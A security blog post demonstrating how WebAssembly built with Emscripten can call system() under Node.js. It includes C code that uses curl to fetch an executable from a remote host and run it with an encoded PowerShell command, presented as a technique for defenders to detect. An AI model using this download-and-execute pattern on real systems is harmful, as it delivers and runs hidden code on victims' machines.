WebAssembly – Executing malicious code using System()

Adversaries are getting more innovative, less predictable and underscoring society’s need to stay one step ahead of them. In this post I am going to share a technique that came across my mind when I was learning about WebAssembly.

Derived from MDN Web docs: “WebAssembly” is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as C/C++ and Rust with a compilation target so that they can run on the web. It is also designed to run alongside JavaScript, allowing both to work together.
Reference: https://developer.mozilla.org/en-US/docs/WebAssembly

Before we begin, lets look at a simple C program and then compile it using Emscripten SDK so that, it can run on a web browser.
[Get the Emscripten SDK, using these instructions: https://emscripten.org/docs/getting_started/downloads.html ]

Take a copy of the following simple “woot.c” example below:

#include <stdio.h>
int main(int argc, char ** argv) {
    printf("Woot woot!\n");
}

Now run the following command to get the “wasm” output:

emcc woot.c -s WASM=1 -o woot.html

Once compiled we should have two files:

  • hello.wasm: The WASM binary file that contains low-level memory models of C language.
  • hello.js: A JavaScript file that can translate between the native C functions, and JavaScript/wasm.

As seen below, a HTML file with a link to “hello.js” can be used to load, compile, and instantiate the wasm code, and display its output in the web browser’s console.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>WASM Demo</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
    <h1>WASM Demo</h1>
    <script src="woot.js"></script>
</body>
</html>
Figure 1: Output seen in a web browser

Emscripten SDK provides a method called emscripten_run_script() to run the specified JavaScript from C/C++ using the browsers “eval()” function. Hence, this would be an another area for security professionals to explore and find a way to abuse it.
Refer: https://emscripten.org/docs/porting/connecting_cpp_and_javascript/Interacting-with-code.html#interacting-with-code-call-javascript-from-native

It also supports number of built-in standard libraries like libc, libc++ and SDL. Libraries that are not included in this SDK must be converted to bitcode and then compile that library and main program’s bitcode together to JavaScript. For this post, I will be using System() function because it is already present in a standard library that comes with EMSDK.
Refer: https://emscripten.org/docs/compiling/Building-Projects.html#building-projects

Also, the commands executed by System() function are present in underlying OS, but not in the browser. Hence, I am making use of Node.JS binary to execute the JavaScript generated by EMSDK. The below code downloads no-powershell binary and executes powershell script using the same:

#include <iostream>
#include <stdlib.h>
using namespace std;

int main(int argc, const char *argv[]) {
system("curl http://192.168.0.107/nps.exe --output C:\\Users\\Public\\nps.exe && C:\\Users\\Public\\nps.exe -encodedcommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAEMAbwByAGUALABQAHIAZQBzAGUAbgB0AGEAdABpAG8AbgBGAHIAYQBtAGUAdwBvAHIAawA7ACQAbQBzAGcAQgBvAGQAeQAgAD0AIAAiAFcAMAAwAHQAIABXADAAMAB0ACEAIQAiADsAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAkAG0AcwBnAEIAbwBkAHkAKQA=");
return 0;
}

COMPILING AND EXECUTING THE FINAL SHELLCODE:

emcc curl.cc -s WASM=1 -o wasm.js
Figure 2: Execution using Node.JS

The use of Node.js is an unusual choice for malware authors and it’s usage is increasing when it comes to writing a malware. Check out the usage of Node.Js in a recent attack from the link below:
Refer: https://blog.trendmicro.com/trendlabs-security-intelligence/qnodeservice-node-js-trojan-spread-via-covid-19-lure/

The difference between JavaScript used in above attack and the one generated by Emscripten SDK is that, it contains code that implements the functionality of each respective library used by the C/C++ code and also the logic for calling the WebAssembly JavaScript APIs to fetch, load and run the .wasm file. As this feature provides a way to run code written in multiple languages on the web, it is very much likely to become a security threat in the near future. Hence, we as security professionals must identify and detect these threats before they are used in cyber attacks.

Also, check out this small application that can be used to download and execute WASM binary using Node.JS:
https://github.com/kartikdurg/WASSUP-WASM

Thank you for reading 🙂

– Kartik Durg

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s